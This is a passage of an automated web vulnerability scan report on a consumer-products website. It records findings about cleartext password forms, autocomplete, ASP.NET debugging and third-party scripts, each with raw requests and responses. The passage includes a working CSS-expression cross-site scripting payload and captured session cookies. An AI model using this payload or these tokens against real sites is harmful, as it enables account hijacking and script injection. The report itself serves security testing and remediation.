%24txtDob=01%2F01%2F2010&ctl00%24phMainContent%24CreateUserWizard1%24cblSubscribeto%240=on&ctl00%24phMainContent%24CreateUserWizard1%24cblSubscribeto%241=on&ctl00%24phMainContent%24CreateUserWizard1%24txtReferralSource=&ctl00%24phMainContent%24CreateUserWizard1%24txtResearch=&ctl00%24phMainContent%24CreateUserWizard1%24txtResearchSources=&ctl00%24phMainContent%24CreateUserWizard1%24StartNavigationTemplateContainerID%24StartNextButton=Next HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/register.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; .ASPXAUTH=F334381204A15D3824C4D5E07EF61055351B42585A413CFEFB8304B4B1D243DA4FBD75489231BB713FE9DDB3BA2112EA524A46BBC18172F72C29482960C04FD3CDC4E089DA240CF0EA1D97ADA5033804D3645D504031BD4A4E84F471C97429C62CBC051909A5F84B0EF84139302E4541BB645E7A; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.12.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com; s_cc=true

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:20:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 45762


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Register
</ti
...[SNIP]...
<input type='text' value="e8d68"style="x:expression(alert(1))"e19e3e35b0cbdf383" id="ctl00_txtSearchTerm_ctl00" style="vertical-align:middle;" onkeypress="if(event)if (event.keyCode) if( event.keyCode==13){if(event.preventDefault)event.preventDefault();__doPostBack('ctl00$txtSear
...[SNIP]...

3. Cleartext submission of password  previous  next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


3.1. http://www.evenflo.com/login.aspx  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /login.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/Default.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; .ASPXAUTH=0FC6F6A5F3CA7913D3476E52BA71E2A02203F76B5CF147B9EEAAF4EF3B01D476ABD0C1896A77E59CFCC4F021C414ABAE305BD8CDB03007314490D4699A79363890B07921DB52D312B8EE7B4DE7E095199C6EEE553EAC531C52F07028B43607DE7E324D462406D50DF950234892DA551F17DE7520; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.8.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:15:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 33774


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Login
</title
...[SNIP]...
</div>
<form name="aspnetForm" method="post" action="login.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<td>
<input name="ctl00$phMainContent$Login1$Password" type="password" id="ctl00_phMainContent_Login1_Password" />
</td>
...[SNIP]...

3.2. http://www.evenflo.com/register.aspx  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /register.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Request

POST /register.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/register.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.4.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com
Content-Length: 11805

__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=ZcTzYgVPkLrhtEGqUXeGhhVm8S6qt%2FIRCAxwovwJ%2BDAqmlgi5TJICt8uvqxEFQhBigC%2BSIbwBaWyz7LnlR74%2FGz9wd3C8QKG%2BInr4nqhVCTerQmmclnGbRZxC09q2w%2FaMyX
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:14:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44876


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Register
</ti
...[SNIP]...
</div>
<form name="aspnetForm" method="post" action="register.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<td>
<input name="ctl00$phMainContent$CreateUserWizard1$CreateUserStepContainer$Password" type="password" id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_Password" />
<span id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_PasswordRequired" title="Password is required." style="color:Red;visibility:hidden;">
...[SNIP]...
<td>
<input name="ctl00$phMainContent$CreateUserWizard1$CreateUserStepContainer$ConfirmPassword" type="password" id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_ConfirmPassword" />
<span id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_ConfirmPasswordRequired" title="Confirm Password is required." style="color:Red;visibility:hidde
...[SNIP]...

4. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


4.1. http://www.evenflo.com/login.aspx  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /login.aspx

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/Default.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; .ASPXAUTH=0FC6F6A5F3CA7913D3476E52BA71E2A02203F76B5CF147B9EEAAF4EF3B01D476ABD0C1896A77E59CFCC4F021C414ABAE305BD8CDB03007314490D4699A79363890B07921DB52D312B8EE7B4DE7E095199C6EEE553EAC531C52F07028B43607DE7E324D462406D50DF950234892DA551F17DE7520; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.8.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:15:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 33774


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Login
</title
...[SNIP]...
</div>
<form name="aspnetForm" method="post" action="login.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<td>
<input name="ctl00$phMainContent$Login1$Password" type="password" id="ctl00_phMainContent_Login1_Password" />
</td>
...[SNIP]...

4.2. http://www.evenflo.com/register.aspx  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /register.aspx

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

POST /register.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/register.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.4.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com
Content-Length: 11805

__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=ZcTzYgVPkLrhtEGqUXeGhhVm8S6qt%2FIRCAxwovwJ%2BDAqmlgi5TJICt8uvqxEFQhBigC%2BSIbwBaWyz7LnlR74%2FGz9wd3C8QKG%2BInr4nqhVCTerQmmclnGbRZxC09q2w%2FaMyX
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:14:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44876


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Register
</ti
...[SNIP]...
</div>
<form name="aspnetForm" method="post" action="register.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<td>
<input name="ctl00$phMainContent$CreateUserWizard1$CreateUserStepContainer$Password" type="password" id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_Password" />
<span id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_PasswordRequired" title="Password is required." style="color:Red;visibility:hidden;">
...[SNIP]...
<td>
<input name="ctl00$phMainContent$CreateUserWizard1$CreateUserStepContainer$ConfirmPassword" type="password" id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_ConfirmPassword" />
<span id="ctl00_phMainContent_CreateUserWizard1_CreateUserStepContainer_ConfirmPasswordRequired" title="Confirm Password is required." style="color:Red;visibility:hidde
...[SNIP]...

5. ASP.NET debugging enabled  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.evenflo.com
Path:   /Default.aspx

Issue detail

ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.

Issue background

ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.

If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targetted attacks against the system.

Issue remediation

To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.

It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.

Request

DEBUG /Default.aspx HTTP/1.0
Host: www.evenflo.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Mon, 15 Nov 2010 01:15:37 GMT
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39

Debug access denied to '/Default.aspx'.

6. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://www.evenflo.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Accept: */*
Referer: http://www.google.com/url?sa=t&source=web&cd=1&sqi=2&ved=0CB0QFjAA&url=http%3A%2F%2Fwww.evenflo.com%2F&rct=j&q=evenflo.com&ei=s4jgTOfSCoa8lQfR-tzMAw&usg=AFQjCNFSAlNiGKtmsLuiXvh7qZIHWTmW7w
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.1.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:13:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 40180


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Baby Safety, B
...[SNIP]...
<!-- SiteCatalyst code version: H.15.1
Copyright 1997-2007 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" src="https://www.fathomseo.com/ssl/tracking/fsevenflo.js"></script>
...[SNIP]...
<!-- End SiteCatalyst code version: H.15.1 -->
<script type="text/javascript" src="http://dnn506yrbagrg.cloudfront.net/pages/scripts/0011/0133.js"></script>
...[SNIP]...

6.2. http://www.evenflo.com/Default.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /Default.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Default.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/register.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; .ASPXAUTH=0FC6F6A5F3CA7913D3476E52BA71E2A02203F76B5CF147B9EEAAF4EF3B01D476ABD0C1896A77E59CFCC4F021C414ABAE305BD8CDB03007314490D4699A79363890B07921DB52D312B8EE7B4DE7E095199C6EEE553EAC531C52F07028B43607DE7E324D462406D50DF950234892DA551F17DE7520; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.7.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:15:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 40180


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Baby Safety, B
...[SNIP]...
<!-- SiteCatalyst code version: H.15.1
Copyright 1997-2007 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" src="https://www.fathomseo.com/ssl/tracking/fsevenflo.js"></script>
...[SNIP]...
<!-- End SiteCatalyst code version: H.15.1 -->
<script type="text/javascript" src="http://dnn506yrbagrg.cloudfront.net/pages/scripts/0011/0133.js"></script>
...[SNIP]...

6.3. http://www.evenflo.com/login.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /login.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /login.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/Default.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; .ASPXAUTH=0FC6F6A5F3CA7913D3476E52BA71E2A02203F76B5CF147B9EEAAF4EF3B01D476ABD0C1896A77E59CFCC4F021C414ABAE305BD8CDB03007314490D4699A79363890B07921DB52D312B8EE7B4DE7E095199C6EEE553EAC531C52F07028B43607DE7E324D462406D50DF950234892DA551F17DE7520; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.8.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:15:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 33774


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Login
</title
...[SNIP]...
<!-- SiteCatalyst code version: H.15.1
Copyright 1997-2007 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" src="https://www.fathomseo.com/ssl/tracking/fsevenflo.js"></script>
...[SNIP]...
<!-- End SiteCatalyst code version: H.15.1 -->
<script type="text/javascript" src="http://dnn506yrbagrg.cloudfront.net/pages/scripts/0011/0133.js"></script>
...[SNIP]...

6.4. http://www.evenflo.com/register.aspx  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /register.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /register.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.evenflo.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.2.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:13:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48532


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Register
</ti
...[SNIP]...
<!-- SiteCatalyst code version: H.15.1
Copyright 1997-2007 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" src="https://www.fathomseo.com/ssl/tracking/fsevenflo.js"></script>
...[SNIP]...
<!-- End SiteCatalyst code version: H.15.1 -->
<script type="text/javascript" src="http://dnn506yrbagrg.cloudfront.net/pages/scripts/0011/0133.js"></script>
...[SNIP]...

7. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /common/ui-lightness/ui.all.css

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /common/ui-lightness/ui.all.css HTTP/1.1
Accept: */*
Referer: http://www.evenflo.com/register.aspx
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.evenflo.com
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=utrhyd55zioegpb2olfw4355; Linkshare.PPC=u1=Organic; Amazon.PPC=tag=evenfloSEO-20; otmData=languagePref=en-us; __utma=17189485.459828033.1289783407.1289783407.1289783407.1; __utmb=17189485.2.10.1289783407; __utmc=17189485; __utmz=17189485.1289783407.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=evenflo.com

Response

HTTP/1.1 200 OK
Content-Length: 20529
Content-Type: text/css
Last-Modified: Thu, 05 Nov 2009 15:48:42 GMT
Accept-Ranges: bytes
ETag: "946c55732f5eca1:3134"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Mon, 15 Nov 2010 01:13:23 GMT

/*
* jQuery UI screen structure and presentation
* This CSS file was generated by ThemeRoller, a Filament Group Project for jQuery UI
* Author: Scott Jehl, scott@filamentgroup.com, http://www.filamentgroup.com
* Visit ThemeRoller.com
*/

/*
* Note: If your ThemeRoller settings have a font size set in ems, your components will scale according to their parent element's font siz
...[SNIP]...

8. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.evenflo.com
Path:   /Default.aspx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.evenflo.com

Response

HTTP/1.1 200 OK
Content-Length: 72
Content-Type: text/plain
Last-Modified: Fri, 17 Apr 2009 13:11:14 GMT
Accept-Ranges: bytes
ETag: "3d65afc5dbfc91:3134"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Mon, 15 Nov 2010 01:15:36 GMT
Connection: close

Sitemap: http://www.evenflo.com/sitemap.xml

User-agent: *
Disallow:

Report generated by Hoyt LLC Research at Mon Nov 15 09:09:06 CST 2010.